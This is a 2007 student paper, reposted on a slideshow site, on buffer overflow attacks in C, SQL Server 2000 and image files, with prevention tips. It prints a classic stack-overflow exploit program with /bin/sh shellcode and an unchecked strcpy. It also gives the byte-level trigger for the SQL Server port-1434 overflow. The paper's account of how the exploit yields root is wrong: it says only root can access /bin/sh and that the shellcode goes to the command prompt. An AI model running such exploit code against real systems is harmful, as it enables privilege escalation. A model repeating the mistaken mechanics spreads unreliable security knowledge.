Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Buffer Overflow: A Short Study


Published on

  • Be the first to comment

  • Be the first to like this

Buffer Overflow: A Short Study

  1. 1. 

 Buffer Overflow: A Short Study Jonathan Hutchison Robert Lee Connor Mahoney Caleb Wherry Information Security Mrs. Nancy Smithfield November 13, 2007
  2. 2. Group


 Buffer overflow is a serious problem in the computer world today. It poses a seriousthreat to any piece of code out there and has the potential for great damage on any system, nomatter the operating system or manufacturer. Buffer overflow takes seemingly harmless codeand uses large amounts of information pushed into this code to make a machine do things itnormally would not do. This method of attack accounts for around 50% of all malicious attacksthat take place currently in the computer world. There is not one area of computers that is totallyimmune to a buffer overflow attack. It is prevalent in C/C++, SQL, JAVA, and even in dataimage processing. Malicious code can be hidden in images and when the image is opened up, thecode is executed in the back ground. This can cause serious damage to someone’s computer inmany ways. Buffers can be easily accessed while the person at the computer is unaware of whatis going on making it incredible hard to stop one of these attacks. These all are ways to causedamage through buffer overflows. We will discuss some of these dangers and how they can beprevented and what the future holds for each of them. When looking at buffer overflows, one of the largest areas that seem to pertain to them isthat of the programming languages of C and C++. These languages’ use of arrays and vectorsmake it easy to cause a buffer overflow and do some serious damage. But before we get into thetechnical specifications of a buffer overflow attack in C and C++, lets first define what bufferoverflow really is. Buffer overflow is the use of code to fill up a computer buffer to the pointwhere it cannot fit in the buffer any more so it flows over into other parts of memory. But what isa buffer, you ask. A buffer is a temporary memory storage area comparable to cache memory. Itstores input from the keyboard or information that is being currently populated in a runningprogram. This is where the first steps of a buffer overflow attack starts, with the basic knowledge

  3. 3. Group


of how the computer buffers actually work. Since C and C++ are two the most vulnerablelanguages out there at the moment, we will look at ways to create buffer overflow in theselanguages. With these languages, there are many ways of going about causing damage with thebuffer but we will look specifically at the case of stack-based buffer overflows. A stack is a typeof memory storage that has certain characteristics. Stack has the distinctive feature of having a“First-In-Last-Out” memory allocation algorithm. We will look at this type, as opposed to heap-based buffer overflows, because it is much easier to understand and code. Take this C codeexample: #include <stdio.h> #include <string.h> char shellcode[] = "xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" "x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" "x80xe8xdcxffxffxff/bin/sh"; // Shell code that will be executed once the buffer is // over flown. It allows us to change the stance of our // login to “root”. char large_string[128]; int main(int argc, char *argv[]) { char buffer[96]; // buffer to overflow int i; long *long_ptr = (long *)large_string;

  4. 4. Group


 for (i = 0; i < 32; i++) // These for loops take the shell code and // translate it into the large string and then // in turn puts a full buffer into each // pointer value of the large_string *(long_ptr + i) = (int)buffer; for (i = 0; i < (int)strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer, large_string); // The string copy function in C should be used // with the utmost caution. This is where the code // blows up and causes the program to execute the // rest of the shell code on the command line. return 0; } This code, when run from an unsecured Linux system, causes the user to automaticallyswitch to the root user without any type of authentication at all! To really understand why thisdoes what it does, you have to first understand that many statements in C and C++ are extremelyrisky to use, such as the “strcpy()” function. There is no automatic checking system in thiscommand, or for that matter arrays as well, that makes sure that the operation it is doing it withinthe set limit of space it was allocated at the beginning of the program. This is where theknowledge of the buffer can really help someone to cause a lot of damage. The simple shell codedeclared at the beginning of the code is sent directly to the command prompt because the buffervariable is already full. The shell code then gets executed, thus causes the users to switch to theroot user. When looking at the shell code, there are many different directories that the shell codeis referencing. Once the shell code is executed, it finds the directory “/bin/sh” and grants controlto that user on that system. Since the only user that has access to that directory is the root user,control is switched to full root privileges. The root user has full control of everything on the

  5. 5. Group


Linux system. Once a person has access to the root account they can do anything they want onthe system. They have full rights to anything and everything. Just by executing this simple Ccode they can gain full access to a Linux system within a few minutes. Preventing these kinds ofattacks is the next topic of interest for us in this study. Preventing buffer overflow attacks is almost as easy as doing a buffer overflow attack.First and foremost, use trusted libraries when running code. Do not use random libraries for yourcode because you have no clue what is really going on when you make a function call out of thatlibrary. Another thing that goes along with this is the use of good programming techniques as aprogrammer. Do not write code that is going to be susceptible to overflow attacks. Make sure alldata coming from user is in the right format and is within the limit of the scope of the program orvariable. Letting a user input as much information as they want is a sure way to open yoursystem up to buffer overflow attacks. Also test the software before it is released. Do not releasealpha versions of software without knowing good and well that the code is safe. As the aboveexample shows, a simple C program can cause much havoc on a Linux system. Test theprograms and make sure all data going in and out is being properly tested. A software developershould also use readily available programs such as Flawfinder and Viega’s RATS to overlooktheir source code for possible weaknesses where an attack could happen. On the front end thesetasks may seem pointless and costly, but in the long run they help. One of the main causes forsoftware failure due to buffer overflow is the ineptitude of the programmers behind the software.Time constraints and money bonuses get in the way of the real objective of a software product.Steps are skipped in the writing of code, no one makes a note of it, and no one ever goes backand fixes the issues, thus causing potential threats to people who use the software.

  6. 6. Group


Best Practices for Prevention of Buffer Overflow In Code Use trusted libraries when including them in projects. Use buffer overflow prevention software to scan code to check for potential trouble spots. Use trusted releases of programs. Alpha and Beta versions have bugs that tend to not prevent buffer overflow. Check user input for validity and make sure it is in the correct format and within range of function. Use trusted functions within trusted libraries. Know what you are using! The next big area of interest in buffer overflow is that in SQL (Structured QueryLanguage). SQL is used in the development of software databases and is widely used with onlinedatabase systems as well. These two combined make a huge market for exploits in SQL to causebuffer overflows. These attacks are done by inputting commands that exceed the space of thevariable assigned to take the input stream. The system can then be attacked by overwriting datain order to execute malicious code or just cause corruption of data. For example, in 2002 anadvisory was issued by NGS Software Insight Security Research describing remote bufferoverrun vulnerability in Microsoft SQL Server 2000. Both stack based and heap based overflowvulnerabilities existed, allowing a hacker to execute code of his or her choice without everneeding to authenticate with the server. In each case, the security vulnerabilities in questionoccurred through UDP port 1434, the Microsoft SQL monitor port. This port is routinely used bylegitimate clients in order to establish a connection to the server. UDP, or “User DatagramProtocol”, is a connection-less communications protocol operating on the transport layer. UnlikeTCP, UDP does not need to establish a connection to function. This makes it faster than TCP, but

  7. 7. Group


easier to spoof. This, combined with the stateless nature of UDP, also makes it easy to bypassfirewalls by appearing to look like legitimate traffic.
Ordinarily, traffic through this port willcontain a certain byte that lets the SQL monitor know that a client is trying to dynamicallydiscover how to connect to the server. However, other instructions can be sent through this port.For instance, if a hacker wanted to execute a stack based overflow vulnerability, the first byte ofthe packet can be set to 0x04, which tells the SQL Monitor to open a registry key using theremaining data supplied in the packet. If this is followed by a large number of bytes, an overflowoccurs and the stack, including the saved return address, is overwritten. The hacker can include anew return address and when the current process is finished the processor will go there insteadand begin executing the malicious code.
A heap based overflow attack can also be carried outusing a similar process. If the data appended to a packet is formatted a certain way, it canoverflow the heap based buffer and exploit a vulnerability in SQL server in which return valuesare not validated before being passed to the next function. The result is a corrupted heapstructure which has the effect of a denial of service attack.
When this vulnerability wasdiscovered in 2002, there wasn’t much that could be done to eliminate the risk until Microsoftwas able to create a patch. The risk could be reduced, however, by following best practices andadding additional rules to the firewall to help filter out packets destined for port 1434 that, whileordinarily may look legitimate, shouldn’t be destined for that port. An example would be a DNSquery response. Microsoft rated these particular threats as critical, and a patch was released in2003. The last type of buffer overflow that we are going to be dealing with is that which dealswith Steganography. Steganography is the act of hiding messages where they will not be

  8. 8. Group


detected. The modern use of this concept has been hiding information in image or video files.However, messages aren’t the only things that can be hidden in digital images. Buffer overflowscan occur in almost any unprotected area. While it may usually carry its payload in maliciousprograms, several image formats are vulnerable to this type of exploit, as well. When acomputer attempts to display the image, the code is unknowingly inserted into the machine’smemory via a buffer overflow attack. Steganography can be used in both traditional and digitalimages, although it is much harder to detect in digital pictures. One use of this has causedcontroversy among privacy groups. Many laser printer manufacturers have begun printing tinyyellow dots into images. These yellow dots are unique to each printer, and are embedded intoevery document printed. Their orientation is unique to indicate the printer model, manufacturer,and serial number. The government originally asked manufacturers to include these dots as away to track counterfeit bills, and many companies have complied.A view of dots printed under a blue LED.(

  9. 9. Group


 This “traditional” form of steganography is considered easier, as it can be seen by anyonelooking in the correct place with a microscope. However, digital steganography is much harderto detect. One reason for this is because of the amount of data contained by a digital photograph.If a small message were embedded in a high-resolution photograph, it would be nearlyimpossible to detect unless the exact location of the message was known in the data. Forinstance, in a 24-bit image, each pixel totals 24 bits (8 bits for red, green, and blue). That leaves256 shades of each color, for each pixel. If someone wanted to write a message using only thelast bit for every color, they would only need to modify 3 pixels for every letter. One shade ofdifference per color, per pixel, would be almost unperceivable by the human eye, even if onewere comparing it with the original side by side. Text isn’t the only data that can be hidden usingdigital steganography. It is even possible to hide a lower resolution image inside of a higher-resolution image, with almost no perceived difference in the original image. Using thistechnique, it may even be possible to “hide” a video inside of another video, if one were to knowhow to extract the data. Despite the possibilities with steganography, the real security issues arerelated to buffer overflows in images. Many major systems and image files have been exploited.For windows, there are exploits for formats such as Jpeg, Bitmap, and Gif files. For Linux, therewas a hole found in the Portable Network Graphics format (PNG). However, the most recentexample has been a TIFF exploit in both the PlayStation Portable game system, and the AppleiPhone. The Apple iPhone is a closed system. While it has a fully functioning operating system,it is limited to only Apple applications. However, a group of programmers found a way to getaround this. By visiting a website on the iPhone,, the phone would

  10. 10. Group


download a TIFF image file. The image had code embedded into it. This code crashes theinternet browser, and overwrites part of the file system. Once this occurs, the user is free toinstall any compatible application they like. Buffer overflows in images generally all work in thesame way. The program opening the image expects it to be a certain size, and allocates memoryfor that size. However, it is possible to trick the program by way of an altered file header, or byaltering the structure of an image. When the image is loaded, it unexpectedly overfills thebuffer, and keeps writing data into the next block of physical memory. If crafted correctly, apointer to more memory locations can be written to this block, allowing a program to beexecuted, or further code to be written. There are several ways to protect a computer from a buffer overflow attack in an image.The most secure would be to disable loading of images in the web browser, and only openpictures from trusted sources. This, however, is not practical. Another way is to periodicallycheck for updates and patches for these vulnerabilities, such as Microsoft Update’s GDI+vulnerability patch that affected jpegs in Windows operating systems. A third and easiestapproach is to simply be on the lookout. Don’t visit “shady” websites, or anywhere else thatmay wish to infect your computer. In conclusion, images and videos can be used for manypurposes that were not originally intended. They can carry hidden messages without beingdetected, or contain embedded code. This code can be used to simply crash a system, oroverwrite memory to execute malicious code. To prevent this, always use the latest patches andsecurity tips for your computers and digital devices. Buffer overflow is a major problem in the world of computers as we know it. Someonecan easily take over a whole computer network by using buffer overflow to gain access to private

  11. 11. Group


accounts, destroy valuable information by getting into an SQL database, or just mess around withthings by using this well known type of exploit. With the speed of computer doubling almost 2fold every 18 months, buffer overflows are always going to be prevalent. Technology isadvancing so fast that the “minor” problems go overlooked. The business world of computerstoday is more worried about how fast the machine will run and how much they can make off ofthe system. A simple unallocated array in one line of 50 million lines of code doesn’t meananything to a lot of people anymore. Software deadlines and the promise of extra money drivesprogrammers to put out less than perfect software. As long as this is the case, buffer overflowwill always be a problem with code. A software developer that cuts corners because of deadlinesis almost certainly going to have trouble down the road with their code. A good hacker can findvulnerabilities in any system, no matter how small it may seem. All they need is one small holeand they are in. Buffer overflow attacks will become more and more troublesome as thetechnological world leans for towards marketability instead of user satisfaction.

  12. 12. Group


 Works Cited “Buffer Overruns in SQL Server 2000.” Microsoft Security. 24 July 2002. <>Cobb, Michael. “How Buffer-overflow Vulnerabilities Occur.” Search Security. 12 December 2005. <>Fayolle, Pierre-Alain. “A Buffer Overflow Study: Attacks & Defense.” Network & Distributed Systems. 2002.Ghost_Rider. “Introduction to Buffer Overflow.” <>“Grover, Sandeep. “Buffer Overflow Attacks & Their Countermeasures.” Linux Journal. 10 March 2003. <>Kharrazi, Mehdi. “Image Steganography: Concepts and Practice.” 22 April 2004.Ogorkiewicz, Maciej. “Analysis of Buffer Overflow Attacks.” Windows Security. 23 July 2003. <>“Unauthenticated Remote Compromise in MS SQL Server 2000.” 25 July 2002. <>